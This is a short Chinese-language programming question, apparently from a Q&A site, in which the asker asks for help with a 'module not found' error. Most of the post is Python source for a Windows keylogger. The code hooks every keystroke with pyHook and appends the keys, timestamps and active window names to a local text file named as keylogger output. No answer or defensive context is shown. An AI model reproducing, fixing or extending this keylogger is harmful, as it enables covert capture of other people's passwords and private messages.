【发布时间】:2017-06-01 13:13:44
【问题描述】:
所以在我的代码中,我安装了我正在使用的所有模块,但我总是收到错误消息说它找不到模块。请帮忙谢谢。
代码:
import pyHook, pythoncom, sys, logging , os , winsound , time
date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt"
x = time.ctime()
with open(date, "a") as f:
f.write("\n")
f.write("[" + x + "] : " )
def OnKeyboardEvent(event):
global x
if event.Key =="Return" :
with open(date, "a") as f:
f.write(" {Enter}\n")
f.write("[" + x +"|"+event.WindowName + "] : " )
elif event.Key == "Space" :
with open(date, "a") as f:
f.write(" ")
elif event.Key == "Back" :
with open(date, "a") as f:
f.write("{Bkspc}")
else :
with open(date, "a") as f:
f.write(event.Key)
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
【问题讨论】:
标签: python